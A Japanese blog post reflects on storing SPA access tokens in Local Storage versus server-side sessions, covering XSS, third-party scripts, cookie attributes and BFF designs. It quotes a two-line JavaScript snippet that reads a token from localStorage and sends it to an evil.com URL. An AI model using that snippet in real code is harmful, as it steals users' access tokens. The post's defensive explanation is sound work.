はじめに
最近RustをいじっているのでAdvent Calenderでなにか書こうと思っていたのですが、あまり面白い話を語れるほどにチョットデキルレベルではないので違うことにしました。
もうすっかり担当日は過ぎてしまったのでネタ的な話題はやめて、自分的に理解が少し怪しいことを文章化することで理解を深めようというのが意図です。
(今日は最終営業日ですが、必要な打ち合わせも終わって、みんな休みで他の人と共同作業することもないので今年の業務は終わりにしてゆっくりと書いてみようと思った次第です)
テーマは「SPA(Single Page Application)におけるアクセストークンの管理ってどうするのが良いの?」ってやつです。
下図のようなJavaScriptで書かれたSPAがバックエンドのAPIにアクセスするシーンが想定範囲です。
を起点に色々議論があったようで(2018年の記事なのでかなり今更ですが)今なおもやもやするところです。
※元ネタは今年のPHP Conference 2021で徳丸浩さんがお話されたSPAセキュリティ入門になります。
Local Storageにアクセストークンを保存することの問題点
これはいろいろな人が言っていますがXSS(クロスサイトスクリプティング)耐性の低さですね。
元記事の論点
上記の記事Please Stop Using Local Storageでは単にアクセストークンのことだけについて書かれた記事ではなく、様々な観点からLocal Storageを否定しています。
- 非同期じゃないじゃないか
- 文字列しか出し入れできないじゃないか
- など
※ところでLocal Storageと書かれていますが、この文脈ではWeb Storage全般(Session Storageも含む)だと理解しています。
その中で、機密データに関する文脈でいうと、
What’s the most dangerous thing in the entire world? That’s right! JavaScript. ...
What the problem really boils down to is cross-site scripting attacks (XSS). ...
If an attacker can run JavaScript on your website, they can retrieve all the data you’ve stored in local storage and send it off to their own domain.
- XSSによって埋め込まれたコードが容易にLocal Storageにアクセス可能
- Local Storageにはそれを防ぐ術がない
というところが強調されていました。
XSS脆弱性がある場合、そもそも論じゃない?
確かにXSS脆弱性がある場合はお手上げです。しかしそもそもXSS脆弱性を前提にするならそれ以前の問題ではないか? XSS対策はした上で議論すべきではないか? という感想を私は持ちましたが、なるほど元記事はさらなる考察を述べています。
If your website is truly secure and no attacker can run JavaScript code on your website then you are technically safe, but in reality that is incredibly hard to achieve.
<script src="https://awesomejslibrary.com/minified.js"></script>
このように外部JSライブラリを参照している場合に、それにXSS脆弱性がないと言えるのか? 例えばマーケティングチームがGoogle TagManagerのようなものを使ってうっかり入れた外部JSに問題がないと言い切れるかと。
なるほど、それは心配ですね。
SPAにおけるXSSがどのように起こりうるか
さて、元記事ではLocalStorageからATを盗まれることをとても心配しています。そして、攻撃者がそれを行う方法としてXSS攻撃です。
XSSは「ユーザー入力されたものが」、「別の箇所で使用される」ときに発生します。
簡単な例として、TwitterのプロフィールにXSS脆弱性があったとしましょう。
- 攻撃者はプロフィールにJavaScriptを仕込みます <--- 攻撃者がTwitterユーザーとして悪用して悪意のJavaScriptコードを入力
- 被害者は攻撃者のプロフィールを見ようとしたときに、仕込まれたJavaScriptが実行されます
トラディショナルなウェブアプリケーションの場合
このケースの場合、上図のfrontend.myservice.com
がページ遷移の都度HTMLを生成してブラウザに返します。
そのHTMLに悪意のJavaScriptが仕込まれることによって、ブラウザがうっかりJavaScriptを実行してしまうことを攻撃者は狙います。
SPAの場合
このケースの場合、frontend.myservice.com
は静的なHTMLしか返しません。
攻撃者はAPIを通じて攻撃コードを保存させ、APIを通じて被害者に攻撃コードをダウンロードさせます。
トラディショナルなウェブアプリケーションの場合にはHTMLに仕込まれているのでページをダウンロードした時点で攻撃コードが発火する可能性が高いですが、SPAの場合にはワンクッション必要になります。
- 被害者が何らかのアクションをして、SPAがAjaxでAPIにリクエストする
- 上記STEPで得たレスポンスをSPAが評価する(例えばReactがレスポンスされた文字列を画面に埋め込むなど)
つまり、STEP2での評価の仕方が問題になってきます。
大概はReactなりVueなりの著名ライブラリにJSONを渡す形になり、そこがXSS対策してあればさほど問題になることではないのではないか、というのが非常にもやもやするところです。
上でも述べましたが、
> このように外部JSライブラリを参照している場合に、それにXSS脆弱性がないと言えるのか? 例えばマーケティングチームがGoogle TagManagerのようなものを使ってうっかり入れた外部JSに問題がないと言い切れるかと。
確かに`https://awesomejslibrary.com/minified.js` そのものが、別の攻撃によって下記のように置き換えられていたらお手上げです。しかし、これはXSS攻撃とは違うような。`awesomejslibrary.com`に対する別の攻撃の話ですね。
```js
var at = localStorage.getItem("yourAccessToken");
fetch("https://evil.com/?at=" + at);
後段の
例えばマーケティングチームがGoogle TagManagerのようなものを使ってうっかり入れた外部JSに問題がないと言い切れるか
に関しても同様で、XSSだけというよりもJavaScriptが持つ潜在的な問題に警鐘を鳴らしていると思いました。
つまり、付属の議論で言われている「Local StorageはXSSに弱いから駄目だ」という解釈は少し異なるなと思いました。
私の理解としては
- Local StorageはXSSに対して弱いのは確か
- しかしそれはアプリケーションコードでXSS対策をすることで防げる
- しかし、しかし! アプリケーションコードを対策したとしても外部ライブラリ読み込みに起因するリスクが回避しきれない
この3点目が非常に重要なポイントなのではないかと。
じゃあどうするの?
If you need to store sensitive data, you should always use a server-side session.
もうそれをクライアントサイドで保存するなと言ってますね。Java Servletや古来のWebから使われてたserver-sideセッションが答えだと。
Cookieを使う方式ですね。
本件にまつわる日本語記事では「対策としてCookieに保存する」というような言い回しのものがありますが、これは正しくなく、原文どおり**"server-side"セッションが対策であり、Cookieを用いたserver-sideセッションの使用**が正しいかと思います。
「Cookieに保存する」を素直に実践して「トークンそのものをCookieのValueとしてセットする」のは正しい対策とは言えません。
余談:Cookeのセキュリティ
元記事ではさらに、Cookieに関する最近のプラクティスについても触れられています。
- httpOnly属性を付加する
- これを設定しない限りJavaScriptからCookieの値を参照できてしまうのでXSS耐性の話はLocalStorageと大差無くなってしまいます
- secure=trueを付加する
- SameSite=strictを付加する
- Cookie最大の弱点であるCSRF対策ですね。 LaxではなくStrictが指定されています。これはサイトの性質によっては厳しいかもしれませんね。
それはBFFはもはや必須だということか?
以下のような構成を推奨されているということになるかと思います。
- ATの保存場所はサーバー側のセッションストア(ファイル、Redisなど)
- セッション内容を保持するサーバーサイドはBFFになるだろう
- SPA想定だったのでいわゆる動的にHTMLを返すTomcatのようなWebアプリケーション・サーバーはではなく、BFFに類するものが適切であると考える
- バックエンドAPIのリクエストはSPAからは行わず、BFFからになる
- SPAからバックエンドへのリクエストの認可はトラディショナルなWebアプリケーションのようにセッションを用いたものになる
BFFはあったほうが便利(ブラウザの制限によるAPIの並行リクエスト数制限回避など)ではあるのですが、小規模なSPAにBFFを具備させるのは少し腰が重くなりますね。。。
まとめ
「XSS前提に考えたらそりゃねぇ」というモヤモヤがありましたが、いわゆるXSS以外の観点でもLocal Storageに機密情報を保存することは不利だと悟りました。
本当は徳丸浩さん記事をもとにもう少しCSRFのあたりについても考察しようと思ったのですが、一旦ここで締めてしまいます。